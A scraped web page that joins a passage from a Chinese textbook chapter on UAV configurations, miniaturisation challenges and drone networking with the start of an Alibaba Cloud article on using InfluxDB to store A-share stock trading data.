        尽管直升机由主旋翼和反扭矩尾桨组合而成,它们还是要依靠周期变矩旋转斜盘来进行飞行控制,因此设计一架直升机比设计多旋翼需要更多的经验和专业知识。当减小旋翼直径时,雷诺效应开始降低推进效率,对于给定的最大总尺寸,使用一个单旋翼比用许多直径更小的旋翼更有效,它们覆盖相同的桨盘面积。不过为了消除所产生的扭矩,可以采用与常规直升机一样的反扭矩尾桨或者在下面加一个反向旋转的旋翼,这样的共轴旋翼可实现高度保持以及围绕垂直轴的控制。便携式共轴无人机的最新例子是“小妖精”(Sprite),配备双轴万向摄像头的1.2kg共轴无人机(如图1-8所示),这架旋翼机可以飞行10-12min,折叠桨叶后可用背包轻松装载。
        image.png

        图1-8 由上升航空系统公司开发的1.2kg的共轴小型无人机(Ascent AeroSystems提供)

        共轴旋翼会损失推进效率,因为下旋翼是被上旋翼产生的螺旋桨滑流吹动而不是被均匀的自由流吹动。相对于两副孤立的反向旋转旋翼,总的效率损失通常被认为是30%左右,使用更大的桨盘面积可以弥补这一相互作用带来的损失。
        由于有明显的旋转部件,旋翼机可能难以应对障碍物,因此旋翼无人机通常配备有防撞的外部结构以保护旋翼。很明显这种保护会增加重量,并且如果它们在碰撞期间不能吸收能量,那么可能无法有效实施保护。发泡聚丙烯(Expanded Polypropylene, EPP)泡沫以及碳棒或橡胶带可用于提供各种形式的缓冲或“机械保险丝”,举个“机械保险丝”的例子,即螺旋桨可以使用简单的O形橡胶圈安装在电机轴上,这有助于避免螺旋桨和轴在旋翼桨叶和障碍物之间发生碰撞时受损。就一般的无人机设计而言,建议考虑轻量化和柔韧性而不是刚度和重量,一架柔软的轻型飞行器比一架坚硬而沉重的飞行器更容易从碰撞中恢复过来。
        一种提升旋翼飞行器鲁棒性的良好设计方式是在旋翼周围增加一个涵道(编辑注:涵道是指气体流过的通道)。涵道旋翼比无涵道的旋翼更有效,它们几乎完全抵消了桨叶叶梢的损失,因此增加了给定桨盘面积的推进效率。此外长涵道会产生额外的升力,这主要得益于扩张型出气口的设计。通过将适当的进气口和出气口设计,与经过优化的、几乎没有桨叶叶梢损失的旋翼桨叶相结合,可以获得具有额外升力和推进效率的罩环,这完全补偿了重量的增加。Br2C就是这样一个例子,罩环效应提供了额外的升力和推进效率,因此飞行器充分利用了保护性外部结构以及完全的重量补偿(如图1-9所示),与“小妖精”共轴无人机相反,Br2C由位于旋翼滑流内的一对襟翼控制。长涵道旋翼飞行器的缺点是因为存在钝体效应而难以承受强的侧风。
        image.png

        图1-9 由法国航空航天大学开发的一款重500g的涵道共轴旋翼微型无人机(版权为Aéroland公司所有,在Sylviane & Christian Veyssiere的准许下重新制作)

        1.1.4 可转换无人机

        多旋翼在户外多风条件下难以充分发挥作用,因此其成功多少会受此影响。高速前飞受到各种空气动力学副作用的限制,比如当迎面的自由流相对于旋转轴显著倾斜时,旋翼的效率会变差。虽然固定翼无人机无法妥善实现悬停飞行,但旋翼飞行器基本只能低速前飞,而且通常在快速飞行阶段效率很低,因此一些无人机设计旨在结合固定翼和旋翼构型的优点。
        这些设计组合称为可转换无人机,为结合固定翼和旋翼构型的优点,可以遵循两种不同的设计策略:一种是从飞机构型开始并对其进行修改以实现垂直飞行;另一种策略是从旋翼飞行器构型开始并对其进行修改以实现水平飞行。第一种策略的例子是由美国Aerovel公司开发的20kg的“柔性旋翼”(Flexrotor)无人机,基本上它由一个翼展3m的普通飞机和一个超大的螺旋桨组成,两个小的反扭矩螺旋桨位于两个翼梢(如图1-10所示)。
        “柔性旋翼”属于倾转机身无人机或尾坐式无人机家族,这意味着它们可以垂直起降并且能水平巡航飞行,在飞机模式下飞行时翼梢螺旋桨中的折叠桨叶可以限制阻力。该型飞行器由大型螺旋桨提供推进力,在直升机模式下飞行时它也起到主旋翼的作用,因此可以通过改变桨距在飞行阶段调节自身:悬停中用小桨距,巡航飞行中用大桨距。
        image.png

        图1-10 由Aerovel公司开发的一款20kg的可转换无人机(版权由Aerovel所有,在准许下重新制作)

        可转换双翼飞机概念是第二种策略的例子,该概念将标准的多旋翼构型与下面添加的一组升力面相组合[215],设计的关键是水平飞行时,整个机身以90°的角度倾转。在飞机模式下,飞行器表现为双翼飞翼,具有良好的空气动力学效率。虽然由于没有水平尾翼,飞翼可能不是静稳定的,但沿着机翼放置的电机可用于保持俯仰控制。最近,法国无人机公司Parrot推出了“摇摆”(Swing)—双翼倾转机体无人机概念的商业版本,它利用了X翼而不是普通的双翼机翼(见图1-11)。
        image.png

        图1-11 由Parrot公司开发的一架四旋翼小型无人机(图片版权:法国航空航天大学)

        可转换构型的其他案例包括倾转旋翼无人机和倾转机翼无人机。倾转旋翼无人机将旋翼安装在旋转轴上,允许主机身在从巡航状态转换到悬停状态过程中保持水平。在倾转机翼无人机上,机翼的一部分位于螺旋桨滑流中,这部分机翼与旋翼是物理连接的,使其和旋翼在飞行状态转换期间共同旋转。在这两种案例中,这种可转换飞行器都需要额外的倾转机构,这意味着重量和复杂性的增加。此外,由于存在包括电机在内的可移动部件,整个重心的位置在转换期间将发生变化,这在开发自动驾驶装置时增加了一些复杂性。亚琛工业大学[328]开发的AVIGLE给出了倾转机翼无人机的一个例子,AVIGLE无人机看起来像一架普通飞机,只是它的机翼可以垂直倾斜而机身保持水平。需要注意的是必须在尾部附近增加一个额外的垂直旋翼,以便在转换期间保持对俯仰的控制(如图1-12所示)。
        image.png

        图1-12 左图:由亚琛工业大学开发的一架倾转机翼无人机(经飞行系统动力学研究所准许重新制作);右图:由极光飞行科学公司开发的一架倾转旋翼无人机(经UAVGlobal.com准许重新制作)

        极光飞行科学公司开发的“冰鞋”(Skate)是高效倾转旋翼无人机的一个很好的例子,“冰鞋”采用一个矩形飞翼布局,由安装在独立倾转机构上的一对电机驱动,可以控制滚转和俯仰,偏航控制由差动节气门提供,因此不需要诸如襟翼或升降舵这样其他的可移动部件来控制飞行器。在巡航飞行以及悬停中,由于飞行器在悬停中垂直倾转,因此旋翼几乎与翼弦平齐,只有飞行状态转换需要旋翼轴相对于机翼倾转。不过一些倾斜旋翼构型比如V-22“鱼鹰”(译者注:一种有人驾驶运输旋翼机)要求机身保持水平。这种倾转旋翼构型的主要优点在于,不需要修改嵌入式系统、天线和有效载荷的布置,就可以适应悬停时的姿态变化。不过,由于螺旋桨滑流会冲击机翼的一部分,旋翼倾转会出现一个下载力。
        最后还应该提到两种在无人机设计领域发挥一定作用的额外构型。第一种构型是滑翔伞,滑翔伞由一个机身和降落伞组成,机身上通常在推进器位置配备一个螺旋桨,而降落伞起到飞翼的作用。这种无人机的一个例子是瑞士飞行机器人公司开发的“漫游”(Swan)(如图1-13所示)。滑翔伞无人机的主要优点是能够非常缓慢地飞行,并以非常紧凑的方式包装。因为滑翔伞可以在飞机上部署并释放,所以对于覆盖大面积的搜索和救援任务来说,它们是优良的候选方案。第二种构型是飞艇,Ride工程公司开发的“天体-P2”(Sphere-P2)项目给出了这种解决方案的例子。由于能够长时间停留在空中,轻于空气的无人机具有吸引力,但是它们有两个主要缺点:①对风非常敏感;②给定飞艇体积后可升空的有效载荷有限。一些飞艇被系留以便保持在一定范围内对一个地区进行永久监视。在“天体-P2”项目中,设计了共轴旋翼用于提供高度保持,而水平控制则来自可移动的重心。
        image.png

        图1-13 左图:瑞士飞行机器人公司开发的一款滑翔伞无人机(图片版权:瑞士飞行机器人公司);右图:由Ride工程公司开发的一款轻于空气的无人机(图片版权:俄罗斯Ride工程公司)

        1.1.5 混合无人机

        当前还涌现了不少新型无人机,都是出于非常实际的目的而出现。无论是在森林中还是在城市环境中的地面附近飞行,执行识别任务的无人机难免遇到各类不可预测的障碍:树木、电线、天线、烟囱、屋顶等。此外,一些识别任务可能要侵入建筑物,需要进入非常狭窄的走廊或隧道,在这些任务剖面中是无法避免障碍的,使用常规的地面车辆可能也会受限,因为越过障碍物总是困难且危险的。而且许多情况下在任务执行过程中可能需要让无人机降落。例如警察执行任务时可能突然需要无人机完全不发生声响,这意味着要关掉电机,然后无人机就必须着陆或紧贴地面,但仍要能够在没有人为干预的情况下起飞并继续飞行。混合无人机这种飞行器就旨在结合空中飞行器和地面车辆的能力。
        混合无人机的主要思路是不再将障碍视为问题,而是将其作为增添某些新特征的机会。在设计方面,增加一个外部防撞结构例如一组碳棒,虽然重量增加,但也可能带来一种新的能力,比如在地面上滚动或悬挂在天花板上。这种混合无人机的第一个例子是MAVion的“滚与飞”(Roll&Fly),它是一个矩形飞翼,由牵引车位置的两个反向旋转螺旋桨驱动,机翼两侧装有一对自由轮(如图1-14所示)。由于位于机翼后缘的两个升降舵处于螺旋桨滑流中,因此飞行器可以垂直飞行远离障碍物。MAVion也可以作为常规双发飞翼水平飞行。在这两种情况下,俯仰和滚转的控制由升降舵提供,可在整个飞行域内保持高效,偏航控制则由差动油门提供。当撞击平坦的表面例如地板、天花板或墙壁时,车轮不仅保护螺旋桨,而且允许它们与墙壁保持恒定的距离。差动油门可以帮助飞行器在地面上滚动时“行驶”。
        image.png

        图1-14 左图:MAvion“滚与飞”,在垂直墙面上滚动(图片版权:法国航空航天大学)

        右图:“视景空中”(Vision-Air)“粘与飞”(Stick & Fly),微型无人机紧贴在窗上,电机关闭(图片版权:法国航空航天大学)
        遵循与地面车辆和空中飞行器结合的思路,这里有另外两个有趣的概念,它们都基于外部防撞结构并可以在飞行器周围自由旋转的想法。第一个例子是伊利诺伊州理工学院开发的“混合地面和空中四旋翼”(Hybrid Terrestrial and Aerial Quadrotor, HyTAQ)项目(如图1-15左图所示),在HyTAQ上,为了使地面运动成为可能,在最初的四旋翼飞行器中增加了一个滚笼。在地面运动期间,与空中模式相比,飞行器消耗的能量要少得多,并且可以简单地通过飞越来轻松应对障碍物。第二个例子是由瑞士洛桑联邦理工学院开发的“平衡球”(GimBall,如图1-15右图所示),在“平衡球”中,飞行器安装在球体内,球体可以围绕垂直轴和水平轴自由旋转,因此飞行器可以穿过非常复杂的环境(例如森林或电线网)而不会被卡住。
        前沿技术似乎彻底改变了无人机的标准分类,使它们不能简化为固定翼、旋翼或扑翼无人机,对无人机概念的概述需要包括新颖的构型,例如可转换和混合无人机。可转换和混合无人机的使用对于无人机联网至关重要,因为它们为执行多任务行动开辟了道路,而这需要协同以及动态任务分配。
        image.png

        图1-15 左图:装有滚笼的HyTAQ四旋翼(在伊利诺伊州理工学院Matthew Spenko准许下重新制作);右图:拥有双轴旋转空间的“平衡球”小型无人机(版权为Alain Herzog所有,在准许下重新制作)

        1.2 无人机集群化和小型化

        开发无人机系统(UAS)有很多非常实际的好理由,其中一个是纯经济性的。如果能够花费更少的资金实现给定的监视或识别任务,它将比轻型飞机等常规系统更具竞争优势。无人机系统在大型无人机和小型无人机之间也是如此,单个飞行器的小尺寸可由大量作为一个编队操作的小型飞行器补偿。
        尽管无人机联网几乎可以使用任何尺寸的飞行器完成,但它只对小型或微型无人机才有意义,实际上只有小型无人机可以在短时间内发射,因为它们只需要非常有限的后勤活动和很少的操作人员。如果每架无人机需要超过一分钟的发射时间,那么为了实现协同飞行而发射数十架无人机是根本不可能的。很可能第一架在空中的无人机任务终止时,最后一架无人机还没起飞。只有小型无人机才适合完成大量飞行器的联网。
        操作诸如“全球鹰”(译者注:机长14.5m,翼展39.9m,高4.7m)之类的大型无人机需要大量的操作人员,而多飞行器监视任务只能使用小型或微型无人机进行。无人机集群增加了飞行器的数量,因此基本上就是操作员数量的问题,构建无人机网络不是需要许多操作员控制多个无人机,而是要让一群飞行器由单个操作员控制。由单个操作员控制的无人机机队不仅需要每架飞行器都具有高水平的自主性,还需要新的控制和导航算法来有高效地驱动无人机网络,这些新算法将在以下章节中进一步详述。目前重要的是要考虑连续发射数十架飞行器并操纵一群无人机的实际问题,这严重依赖于使每架飞行器小型化的能力,最好就是坠毁一架飞行器并不会引发技术和经济上的重要后果且仍然可以完成任务。因此在进一步深入研究之前,必须仔细研究无人机的小型化可以达到的程度。

        1.3 无人机小型化:挑战与机遇

        如果无人机网络始终依赖于飞行器小型化的能力,那么小型化本身就意味着会出现一些机遇以及新的设计挑战。
        在机遇方面,无人机小型化需要使视觉和电磁信号变小,对于与防务和安全相关的一些应用场景,小型飞行器会由此在隐蔽性方面具备很大的优势。小型飞行器也更容易降低噪声,并且如果通过成熟的伪装技术使其适当地适应环境,它们将变得几乎不可察觉。无人机小型化的另一个优点是它们可以被放入高度受限的环境中,例如隧道、倒塌的建筑物、通风道、管道、下水道,在如此狭小的空间中,地面车辆比飞行器更容易卡住。而且,小型通常意味着飞行器更便宜,丢失一个100美元的飞行机器人,同时还有数百个正在执行识别任务,这不是一个大问题,而失去一架“捕食者”(译者注:单价约403万美元)级别的无人机对操作员的影响则至关重要。最后,在一些应用场景中,将大量协同飞行的飞行器组合在一起,可能是完成复杂和多任务行动的一种非常高效的方式,而单个飞行器则显然需要做更多的工作。
        尽管小型化无人机非常理想,但无人机小型化面临着重要的设计挑战和技术瓶颈,例如阵风敏感度、能源、空气动力学效率,等等。

        1.3.1 阵风敏感度

        设计小型无人机不能仅仅将常规飞行器构型按比例缩小。这有几个原因,其中一个与飞行器的阵风敏感度有关。为了说明这种影响,我们考虑一下常规的固定翼飞行器。在水平飞行中,升力方程将飞行器重量和升力以如下等式表达:
        image.png
        这里根据著名的平方–立方定律,如果L为飞行器的总尺寸,则质量m和机翼表面积S分别以L3和L2变化。倘若CL几乎保持在统一的数量级,则飞行速度必然会如此变化:
        image.png
        这表明在按比例缩小飞行器时飞行速度需要降低。现在考虑沿俯仰力矩轴的运动方程,我们可以这么写:
        image.png
        这里J表示转动惯量与L5成比例。因此等式(1.3)简化为:
        image.png
        这意味着当减小飞行器尺寸时,滚转加速度将趋于增加。因此与大型飞行器相比,小型飞行器对阵风更敏感。除了由于式(1.2)导致飞行速度更慢的事实之外,小型飞行器还将遇到大气扰动,其典型速度与飞行器速度相当。换句话说,驾驶一架小型无人机就像驾驶一架普通飞机穿过风暴。

        1.3.2 能量密度

        尽管与最好的电池相比汽油的能量密度仍然很高,但是当热燃烧发动机的尺寸急剧减小时,它们将无法保持高效率。这种现象是因为燃烧室中产生的热量与L3成正比,而通过燃烧室壁消散的热通量仅会以L2减少。因此将热发动机小型化将不可避免地导致热力学效率变低,因为在燃烧室内产生的大部分热量将通过壁快速蒸发。由于腔室停留时间的限制,增加旋转速度以补偿热损失也不是一个可行的解决方案;较差的压力密封性以及摩擦力的增加是另外的问题,当尺寸减小时这一点会降低热燃烧发动机对设计人员的吸引力[381]。因此,小型无人机设计人员只能选择电动飞行器,忍受其有限的比能量,对于高质量的锂聚合物电池,其最大值约为20Wh / kg。尽管在燃料电池以及锂聚合物电池的其他新型化学替代品领域取得了较大进展,但能量密度仍然是现阶段进一步将无人机小型化的巨大限制。

        1.3.3 空气动力学效率

        雷诺效应让飞行器周围流场中的黏滞效应变得重要,以如下公式变化:
        image.png
        这表明当飞行器尺寸减小时黏性的重要性显著增加。当雷诺数较低时,可能发生层流分离,这导致最大升力能力变差以及即便在低迎角时也会出现高阻力。由于当雷诺数减小时机翼翼型的空气动力学性能以及螺旋桨叶片的效率急剧下降,因此小型飞行器的空气动力学效率代表了设计的一个关键挑战,这需要新的空气动力学方式来产生具有有限阻力的升力。

        1.3.4 其他设计挑战

        无人机小型化的困难不仅在于与空气动力学、推进装置和飞行控制相关的物理原因,还有其他方面的技术挑战,其中一个与电磁干扰相关。事实上,当所有电子元件都封装在狭小的空间内时,电机产生的电磁场会干扰磁力计或全球定位系统(global positioning system, GPS)接收器内的信号。此外,无人机小型化的经验表明电线的重量占到小型无人机总重量的很大一部分,因此需要集成化以减少由于各种组件之间的电气连接而增加的重量。

        1.4 无人机网络及其优势

        无人机网络可被视为飞行的无线网络,网络中的每架无人机本身作为一个可以收发信息的节点,也可以为发给网络中其他无人机的信息提供中继。网络可以是自组织(ad hoc)的、没有任何配套基础设施,也可以由基于地面和/或基于卫星的通信基础设施支撑。无人机网络的拓扑或配置可以采用任何形式,包括网格、星形甚至是直线,它主要取决于应用环境和用例场景。
        首先了解为什么我们需要无人机网络。单个无人机只是因其处在更高的高度就具备几个优势,其中最重要的是在地面(或空中)发射器与空中(或地面)接收器之间的清晰视线,事实上这就是将用于蜂窝或广播通信的天线放置在塔上的原因,塔的典型高度为50英尺到200英尺(15.24m~60.96m)。单个无人机节点可以作为位于地面的发射器-接收器对之间的中继,扩展它们之间的连接范围,如图1-16所示。当由于地形不平或环境混乱而无法在发射器和接收器之间建立清晰的视线时,由无人机搭建的通信基础设施为地面基础设施提供了更好的替代方案。
        image.png

        图1-16 一架无人机可以作为发射器–接收器对的中继节点,扩展两者间的通信范围

        图1-17显示了两架无人机如何协同工作,将信息从地面上的一个无线电台传输到另一个无线电台。多架无人机可以作为中继节点链扩展通信范围。图1-18显示了一组无人机组成了ad hoc(点对点)网络,作为移动ad hoc网络或空中移动自组网络(Mobile Ad hoc Network, MANET)。空中MANET是一种多跳网络解决方案,用于远距离传输信息,空中MANET中的每个节点充当一个终端以及承载网络中信息的中继节点或路由器。在一个ad hoc配置中,不需要任何其他基础设施(例如卫星或中央服务器)来支撑无人机集群。
        在实际应用中,基于地面和卫星的服务将提高无人机网络的可靠性和耐久性。 例如,一个全球定位系统(GPS)传感器有助于估算并交换无人机之间的地理定位信息。具有基于地面和卫星的通信基础设施的无人机网络通常被称为机载网络。
        image.png

        图1-17 两架无人机协同工作,作为一个简单的中继网络扩展地面通信的覆盖范围

        image.png

        图1-18 多架无人机组成一个空中移动ad hoc网络

        1.4.1 机载网络的独特特征

        由于空中节点的移动速度比地面上的节点快得多,因此空中网络的拓扑结构是高度动态变化的,图1-19显示了机载网络的示例。极端变化的动态特性需要特定的路由协议和安全的信息交换,此外,感知与规避以及态势感知策略对于确保节点在飞行期间保持最小安全距离是必要的。
        机载网络是独特的,并且在许多方面与仅涉及地面车辆的车载网络显著不同。为MANET和地面车载网络设计的经典移动模型和安全策略不适用于机载网络。机载网络需要考虑移动模型的独特特性,例如平滑转弯以及能够满足最小延迟要求的高水平信息安全保障、认证和完整性验证策略。
        image.png

        图1-19 一个真实世界的机载网络由无人机系统以及基于卫星和地面的通信基础设施组成

        机载网络是一种赛博物理系统(Cyber Physical System, CPS),其物理和赛博组件之间存在着强烈的相互作用。计算、通信和网络元件构成系统的赛博组件,而飞行路径、机动几何形状和多模资源(包括基于地面的节点和控制站)构成了CPS的物理组件。机载网络的根本性挑战是在其赛博和物理组件之间实现协同互动,如果能成功地探索并利用这种协同作用,将对下一代航空运输系统极为有利。例如预测邻近空域内空中飞行器的轨迹(如1 000平方英里区域),组成具有友好节点的可信网络,在其拓扑改变时重新配置网络以及在空中与飞行员之间安全地共享音频和视频流数据,这将显著提升空中飞行器的态势感知能力并提高航空运输系统的安全能力。然而探索赛博和物理维度之间协同作用所需的基本设计原则尚未制定,这就非常需要生成实验数据集来导出这样的设计原则。

        1.4.2 无人机网络的移动模型

        移动模型为连通性研究、网络性能评估以及最终可靠路由协议的设计提供了框架。特别地,移动模型捕获每个网络代理的随机移动样式,基于该样式可以估算与变化的网络结构相关的大量信息,例如节点分布以及链路和路径寿命的统计。为了提供准确的预测以促进空中联网,为机载网络开发逼真且易处理的移动模型至关重要。在有关文献中已经广泛研究了一些移动模型,例如随机方向(Random Direction, RD)和随机路点(Random Waypoint, RWP)。RWP模型假设一个代理选择随机目的地(航路点)和行驶速度,它抵达后会在前往下一个目的地之前暂停。RD模型的扩展版本假设一个代理在随机选择的行驶时间之后随机选择速度和方向。这些通用模型的随机性质(例如它们的空间分布)可以在文献中找到。广泛使用的RWP和RD模型非常适合描述MANET中移动用户的随机活动,但是它们缺乏描述空中飞行器独特特征的能力,例如移动用户和地面车辆很容易减速、急转弯并沿相反方向行驶(参见表达了此类运动的增强型随机移动模型)。空中节点不能进行如此急转弯或立即反转行进方向,因此需要开发能够表达机载网络的独特特征的逼真模型。

        1.4.3 无人机网络的发展现状

        无人机联网和通信是一个新兴的研究领域。尽管关于小型无人机的应用有大量文献,但这项研究的大部分内容仅在理论和仿真方面,学术界和研究机构真正实现的数量有限。下面我们将讨论一些最近实现的无人机网络及其成果。
        1. AUGNet(美国科罗拉多大学,丹佛,2004)
        AUGNet是ad hoc无人机-地面网络的一种实现,由地面上的ad hoc节点和安装在小型无人机上的ad hoc节点组成[71],该试验台说明了AUGNet的两个用例。第一个用例是一个中继场景,场景中具有更好的地面节点视角的无人机增强了地面节点的ad hoc网络的连通性。第二个用例中无人机之间的ad hoc网络增加了操作范围并提升了无人机之间的通信。实验结果表明,无人机支撑的网络生成较短的路由、具有更好的吞吐量并提升了网络覆盖范围边缘节点的连通性。最近在该试验台上进行的实验已经提供了关于不同操作方式下的网络吞吐量、延迟、范围和连通性的详细数据。需要这样的实验来理解无人机网络的性能限制。
        2.利用商用现货组件进行无人机联网(美国空军研究实验室和哈佛大学,2006)
        空军研究实验室(Air Force Research Laboratory, AFRL)和哈佛大学联合开展了商用现货(Commercial Off-The-Shelf, COTS)通信设备的无人机联网[198]。基于COTS的低成本且功能强大的通信设备和无人机平台,该团队分别使用支持802.11(在2.4GHz和5GHz)和900MHz技术的通信设备对基于无人机的网络进行了两次现场实验。该实验是为了比较带宽和通信范围以及联网能力,这些现场实验收集的实验数据比当时可用的任何仿真数据都更准确和真实。
        3.耐久的机载网络扩展(美国波音公司和海军研究实验室,2009)
        “耐久机载网络扩展”(Robust Airborne Networking Extension, RANGE)研究项目由波音研究与技术部和海军研究实验室(Naval Research Laboratory, NRL)在海军研究办公室(Office of Naval Research, ONR)的支持下开展。该团队开发、测试、评估和演示了无人机与地面站弹性移动互联网的协议和技术,以扩展监视范围和战场空间连通性[124]。现场测试包括一个由11个地面站、一个移动车辆和两架固定翼无人机组成的802.11地面–无人机网络,展示了混合空中/地面联网场景和移动自组织网络(MANET)能力。
        4. UAVNET(德国波恩大学,2012)
        UAVNET是使用无人机的移动无线网状网络的一个原型实现[303],每架无人机携带轻型无线网状节点,使用串行接口直接连到无人机的飞行电子设备,飞行无线网状节点互相连接并通过IEEE 802.11s协议相互通信。每个无线网状网节点都作为接入点(Access Point, AP)工作,为常规IEEE 802.11g无线设备提供接入,例如笔记本电脑、智能手机和平板电脑。通过建立由一个或多个飞行无线网状节点组成的空中中继,该原型能够实现让两个通信对等体自主地进行互相连接。实验结果表明,与基于地面的中继网络相比,多跳无人机中继网络的吞吐量明显提高。
        5.无人机网络的移动模型(2014)
        移动模型抽象了MANET中移动节点的移动样式,它们通常用于估算不同应用场景中的网络协议的性能,逼真的移动模型是创建逼真的仿真环境所必需的。在参考文献[65]中已经提出了无人机的狗仔队移动模型,该模型是一个随机模型可以基于状态机模仿狗仔队无人机的行为,其中五个状态代表五种可能的无人机移动:停留、航路点、绕八字、扫描和椭圆形。该文献将该移动模型与热门的随机路点移动模型进行了比较。最近的一项研究参考文献[438]提出了平滑转向移动模型,该模型表达了空中飞行器做出直线轨迹和大半径平滑转弯的趋势。
        6. “天巡者”(SkyScanner)(2015)
        “天巡者”是一个研究项目,旨在部署一队固定翼小型无人机用于研究大气层[6]。这是一个由五个合作伙伴参与的合作项目,包括法国国家科学研究中心(Centre National de la Recherche Scientifique, CNRS)的系统分析和架构实验室(Laboratory for Analysis and Archite-cture of Systems, LAAS)、国家计量研究中心(Centre National de Recherches Météorologiques, CNRM)的大气计量研究组(Groupe d’étude de l’Atmosphère Météorologique, GAME)、法国航空航天大学(ISAE)的空气动力学、能量学和推进系(Department of Aerodynamics, Energetics and Propulsion, DAEP)、法国航空航天研究中心(Office National d’Etudes et de Recherches Aérospatiales, ONERA)的系统控制和飞行动力学部以及国家民航学院(Ecole Nationale de l’Aviation Civile, ENAC)的无人机实验室。“天巡者”项目的范围包括大气科学、小型无人机的空气动力学、能量收集以及分布式机队控制。该项目依赖于无人机之间的强有力合作,这些无人机共同构建了大气参数的3D地图并决定了对哪些区域进一步绘制。

        1.5 总结

        本章讨论了无人机的类型和任务能力。它概述了无人机集群、无人机小型化以及无人机小型化的机遇和设计挑战;概述了无人机网络的优势并介绍了过去几年展示的几个无人机联网项目;简要讨论了无人机网络的移动模型。

        ]]>
        阿里云InfluxDB®教你玩转A股数据-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 阿里云InfluxDB®目前已经商业化,专注于处理高写入和查询负载的时序数据,用于存储大规模的时序数据并进行实时分析,包括来自DevOps监控、车联网、智慧交通、金融和IOT传感器数据采集。
        本文首先介绍时序数据库的发展,然后具体介绍阿里云InfluxDB®的功能。由于金融中股票交易具有高频和时间属性,非常符合InfluxDB的应用场景,最后提供了一个在阿里云InfluxDB® 创建的TIG(Telegraf/InfluxDB/Grafana)实例信息,采集了部分沪深股票交易信息,供用户登陆操作实践,更深入地了解时序数据和阿里云InfluxDB®。

        时序数据

        时序数据发展

        时序数据发展到当下,主要经历了三个阶段:基于关系型数据库的存储,基于通用大数据的存储系统,以及垂直型时序数据库系统。每个阶段均出现代表性产品,如RRDTool, OpenTSDB, InfluxDB等。

        • 基于关系型数据库存储:这类系统处理的数据模型比较单一,缺乏针对时间的特殊优化,单机容量受限,处理时序数据的效率相对不高;
        • 基于通用大数据存储:伴随着大数据和Hadoop的发展,借助HBase等存储系统,利用时序的特性规避部分通用存储的劣势,在数据模型设计方面做了很多的改进,但时序的发展与存储发展路线不统一,缺乏定制化,往往会受制于底层存储,如索引技术,查询过滤机制等。
        • 垂直型时序数据库:随着kubenetes, 微服务,IOT市场的崛起,针对时序数据的存储产品慢慢涌现,如InfluxDB专门针对时序的TSM存储引擎,Gorilla压缩,以及面向时序的窗口计算函数p99等。
          image

        当前时序数据库呈现百家争鸣的状态,传统数据库朝着分布式方向发展,如TimeScaleDB;OpenTSDB紧跟大数据的存储计算分离架构;InfluxDB TICK集成数据采集、分析和告警等。上图是DB Engine给出的关于时序数据库的排名,InfluxDB位于最受喜爱的时序数据库行列,也是阿里云将其开源托管的重要原因。

        时序数据模型

        下面将针对于InfluxDB数据模型来介绍时序数据。
        image

        • 时间线(time series): 测量值(measurement)与标签(tagset)的组合
        • 时间点(time series point): 一个具体的时间戳下,某条时间线中,某些field的值。

          时间线用于在写入和查询时对数据做快速匹配,关联时序数据索引,因此时间线的膨胀会引起时序索引结构膨胀,占用过多内存空间和匹配效率降低。在股票交易数据结构中,由于股票代码(code), 股票名称(name), 所属行业(industry)并不经常改变,因此在模型设计的过程中,可以将这些设为tagkey;成交价格(price),成交手(volume),成交金额(amount)这些要记录的值随时间会不断变动,我们将其放入field中,进行数值存储和函数计算。上图中:

        时间线:

        tick_data,industry=银行,name=平安银行,code=000001.SZ

        时间点:

        tick_data,industry=银行,name=平安银行,code=000001.SZ price=10.86,volume=2295,amount=2492370 2015-09-23T09:25:01Z
        tick_data,industry=银行,name=平安银行,code=000001.SZ price=10.85,volume=128,amount=138847 2015-09-23T09:30:32Z

        时序数据写入

        关于阿里云InfluxDB®实例的购买和时序数据的写入具体可以参考阿里云官方文档
        image
        如上图所示的存储结构中,为了更好管理历史数据,InfluxDB推出了数据保留策略(Retention Policies),用来定义数据的保留时间。数据保留策略(RP) 用来定义数据在InfluxDB中存放的时间,或者定义保存某个期间的数据。在阿里云InfluxDB®管理控制台,我们可以自定义历史数据的保留时长。
        下面为采集A股日成交(daily)和日行情(tick_data)的时间线情况:

        > use stock
        Using database stock
        > show series limit 10
        key
        ---
        daily,area=上海,industry=IT设备,list_date=19901219,name=方正科技,symbol=600601,code=600601.SH
        daily,area=上海,industry=IT设备,list_date=20170607,name=恒为科技,symbol=603496,code=603496.SH
        daily,area=上海,industry=专用机械,list_date=20150320,name=创力集团,symbol=603012,code=603012.SH
        daily,area=上海,industry=专用机械,list_date=20150527,name=华铭智能,symbol=300462,code=300462.SZ
        daily,area=上海,industry=专用机械,list_date=20150630,name=沃施股份,symbol=300483,code=300483.SZ
        daily,area=上海,industry=专用机械,list_date=20160607,name=上海沪工,symbol=603131,code=603131.SH
        daily,area=上海,industry=专用机械,list_date=20160812,name=上海亚虹,symbol=603159,code=603159.SH
        daily,area=上海,industry=专用机械,list_date=20161018,name=古鳌科技,symbol=300551,code=300551.SZ
        daily,area=上海,industry=专用机械,list_date=20170113,name=至纯科技,symbol=603690,code=603690.SH
        daily,area=上海,industry=专用机械,list_date=20170314,name=克来机电,symbol=603960,code=603960.SH
        > use tick
        Using database tick
        > show series limit 10
        key
        ---
        tick_data,area=上海,industry=区域地产,list_date=19961210,name=荣丰控股,symbol=000668,code=000668.SZ
        tick_data,area=上海,industry=区域地产,list_date=19970925,name=三湘印象,symbol=000863,code=000863.SZ
        tick_data,area=云南,industry=中成药,list_date=19931215,name=云南白药,symbol=000538,code=000538.SZ
        tick_data,area=云南,industry=全国地产,list_date=19961205,name=美好置业,symbol=000667,code=000667.SZ
        tick_data,area=云南,industry=房产服务,list_date=19940202,name=我爱我家,symbol=000560,code=000560.SZ
        tick_data,area=云南,industry=机械基件,list_date=19990415,name=云内动力,symbol=000903,code=000903.SZ
        tick_data,area=云南,industry=铜,list_date=19980602,name=云南铜业,symbol=000878,code=000878.SZ
        tick_data,area=云南,industry=铝,list_date=19980408,name=云铝股份,symbol=000807,code=000807.SZ
        tick_data,area=内蒙,industry=化工原料,list_date=19970131,name=远兴能源,symbol=000683,code=000683.SZ
        tick_data,area=内蒙,industry=煤炭开采,list_date=19970606,name=平庄能源,symbol=000780,code=000780.SZ

        函数分析

        InfluxDB提供了丰富的计算函数帮助我们进一步挖掘数据的价值。InfluxQL函数分为四大类:聚合(aggregate)、选择(select)、转换(transform)和预测(predict)。

        聚合

        阿里云InfluxDB®支持的聚合函数有:COUNT()DISTINCT()INTEGRAL()MEAN()MEDIAN()MODE()SPREAD()STDDEV()SUM()
        查询某支股票2019-10-21日共成交了多少手:

